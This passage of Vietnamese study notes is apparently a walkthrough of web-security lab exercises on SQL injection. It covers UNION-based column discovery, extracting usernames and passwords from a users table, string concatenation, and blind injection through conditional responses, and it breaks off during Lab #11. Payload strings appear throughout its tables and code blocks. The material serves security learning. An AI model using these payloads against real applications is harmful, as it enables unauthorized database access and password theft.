- Sử dụng kỹ thuật UNION SELECT NULL,... để tìm đúng số cột. Bạn có thể thử lần lượt như sau (dán vào category=):
```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
```
- Khi không còn lỗi (và trang load lại bình thường), tức là bạn đã tìm đúng số lượng cột.
- Trong lab này, kết quả thường là 3 cột.
`Bước 2: Tìm cột chấp nhận dữ liệu chuỗi`
- Giả sử lab yêu cầu bạn hiển thị chuỗi abcdef trong kết quả, bạn sẽ thử:
```sql
' UNION SELECT 'abcdef',NULL,NULL--
' UNION SELECT NULL,'abcdef',NULL--
' UNION SELECT NULL,NULL,'abcdef'--
```
- Quan sát phản hồi HTML. Nếu chuỗi "abcdef" hiển thị trên trang, thì cột đó tương thích với kiểu chuỗi → có thể dùng để hiển thị dữ liệu sau này (usernames, passwords,...)
`Kết luận:
Sau khi xác định số lượng cột và cột chứa được text, bạn có thể dùng nó để in thông tin nhạy cảm từ database. Đây là bước khởi đầu quan trọng trong tấn công SQL injection dựa trên UNION.`

## 6.3*, Finding columns with a useful data type (Tìm các cột có kiểu dữ liệu hữu ích)
| **Mục** | **Nội dung** |
| -------------------------- | --------------------------------------------------------------------------------------------- |
| ✅ Điều kiện đã có | - Biết số lượng cột trả về từ truy vấn gốc<br>- Biết cột nào chấp nhận dữ liệu kiểu chuỗi |
| 💡 Mục tiêu | Lấy dữ liệu từ bảng chứa thông tin nhạy cảm, ví dụ như `users (username, password)` |
| 🧪 Điều kiện ví dụ | - Truy vấn gốc trả về 2 cột kiểu chuỗi<br>- Injection nằm trong chuỗi trích dẫn trong `WHERE` |
| 🔧 Câu lệnh tấn công ví dụ | `' UNION SELECT username, password FROM users--` |
| ⚙️ Điều chỉnh kỹ thuật | Nếu không biết tên bảng/cột, phải **đoán** hoặc **khai thác `information_schema`** |
| 📌 Mục tiêu cuối cùng | Hiển thị thêm dữ liệu thật từ bảng khác (như tài khoản mật khẩu) thông qua trang web |
- `Kết luận`: UNION SQLi cho phép hacker lấy dữ liệu nhạy cảm nếu xác định đúng số cột và kiểu dữ liệu phù hợp. Đây là mục tiêu chính sau các bước dò tìm ban đầu.
### Lab #5, SQL injection UNION attack, retrieving data from other tables (Tấn công SQL injection UNION, lấy dữ liệu từ các bảng khác)
| **Bước** | **Hành động** | **Chi tiết & Payload** |
| -------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| 1️⃣ | **Xác định số cột và kiểu dữ liệu chuỗi** | Dùng payload: <br>`'+UNION+SELECT+'abc','def'--` <br>→ Nếu không lỗi, tức là có **2 cột** và **cả hai cột đều chứa kiểu chuỗi** |
| 2️⃣ | **Lấy dữ liệu từ bảng `users`** | Dùng payload: <br>`'+UNION+SELECT+username,password+FROM+users--` <br>→ Phản hồi sẽ hiển thị danh sách `username` và `password` |
| 3️⃣ | **Đăng nhập với administrator** | Dùng thông tin `username=administrator` và `password` lấy được ở bước 2 để đăng nhập vào hệ thống |
| ✅ | **Hoàn thành** | Nếu login thành công → Lab được đánh dấu là “Solved” |
- Lưu ý:
- Bạn không cần thử nhiều cột như các bài trước, vì đề bài đã nói rõ truy vấn có hai cột và cả hai là dạng văn bản.
- Lab này kiểm tra khả năng bạn tổng hợp lại các kỹ thuật từ các Lab trước để dùng `UNION SELECT` thực sự có ý nghĩa.
## 6.4*, Retrieving multiple values within a single column (Lấy nhiều giá trị trong một cột duy nhất)
### Lab #6, SQL injection UNION attack, retrieving multiple values in a single column (Tấn công SQL injection UNION, lấy nhiều giá trị trong một cột)
| **Mục** | **Nội dung** |
|-----------------------------------|------------------------------------------------------------------------------|
| 🧩 **Vấn đề** | Truy vấn SQL chỉ trả về **1 cột**, nhưng bạn muốn hiển thị **nhiều giá trị** (vd: username và password). |
| 🛠️ **Giải pháp** | **Nối chuỗi** các giá trị cần lấy vào **chung một cột**, dùng dấu phân cách để phân biệt. |
| 🧪 **Câu lệnh ví dụ (Oracle)** | `' UNION SELECT username || '~' || password FROM users--` |
| 📥 **Kết quả trả về (ví dụ)** | administrator~s3cure<br>wiener~peter<br>carlos~montoya |
| 🔑 **Toán tử nối chuỗi phổ biến** | • Oracle, PostgreSQL: `||`<br>• SQL Server: `+`<br>• MySQL: `CONCAT(a, b)` |
| 🔔 **Lưu ý** | Dấu phân cách như `~`, `:` giúp **dễ đọc** và **phân tách rõ các giá trị**. |
- Mục đích học được:
- Biết cách xử lý khi chỉ có `một cột` trả về trong `UNION SELECT`.
- Biết cách dùng `nối chuỗi` tùy theo hệ quản trị cơ sở dữ liệu.
- Có thể `trích xuất` dữ liệu đầy đủ từ nhiều cột dù kết quả chỉ hiển thị `một`.
## 7, Blind SQL injection (Tiêm SQL mù)
## 7.1, What is blind SQL injection? (Tiêm SQL mù là gì?)
- Là lỗi `SQL injection` nhưng kết quả truy vấn `không hiện ra` cho người dùng thấy.
- Tức là: bạn tiêm lệnh `SQL` vào ứng dụng được, nhưng không thấy lỗi `SQL` hay kết quả dữ liệu trả về như các kiểu `SQLi` khác (ví dụ `UNION`).
- Tuy vậy, vẫn có thể khai thác được, bằng cách dựa vào sự thay đổi hành vi của ứng dụng.
## 7.2*, Exploiting blind SQL injection by triggering conditional responses (Khai thác SQL injection mù bằng cách kích hoạt phản hồi có điều kiện)
| **Bước** | **Mục tiêu** | **Payload Ví dụ** | **Kết quả** | **Giải thích** |
| -------- | --------------------------------------------- | ----------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------------------------------------------------------------------ |
| 1 | Kiểm tra có lỗi SQLi không | `xyz' AND '1'='1` | Có "Welcome back" | Điều kiện đúng → Truy vấn trả kết quả → Biết ứng dụng có phản ứng khác nhau khi SQL trả kết quả. |
| 2 | Kiểm tra phản ứng khi điều kiện sai | `xyz' AND '1'='2` | Không có "Welcome back" | Điều kiện sai → Không có kết quả → Biết chắc có thể dùng điều kiện để kiểm tra giá trị. |
| 3 | Dò ký tự đầu tiên của mật khẩu | `xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Admin'),1,1) > 'm` | Có "Welcome back" (nếu đúng) | Nếu đúng → Ký tự đầu lớn hơn 'm'. Dùng để so sánh từng ký tự. |
| 4 | Thu hẹp dần phạm vi (giống tìm kiếm nhị phân) | Thử `> 'm'`, `> 'r'`, `= 's'`,... | "Welcome back" hoặc không | Tiếp tục thử nhiều ký tự đến khi đoán đúng ký tự đầu tiên. |
| 5 | Dò các ký tự tiếp theo | `xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Admin'),2,1) = 'e'` | Có "Welcome back" (nếu đúng) | Thay đổi chỉ số để kiểm tra ký tự thứ 2, thứ 3,... cho đến hết mật khẩu. |
| 6 | Dò toàn bộ password | Lặp lại bước 3–5 cho đến hết chuỗi | Có từng ký tự của mật khẩu Admin | Dò từng ký tự một cách thủ công hoặc viết script để tự động hóa. |
### Lab #11, Blind SQL injection with conditional responses (Tiêm SQL mù với phản hồi có điều kiện)
- Kiểm tra có lỗi SQLi không: ``Có "Welcome back"``

- Kiểm tra phản ứng khi điều kiện sai: ``Không có "Welcome back"``

```sql
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
```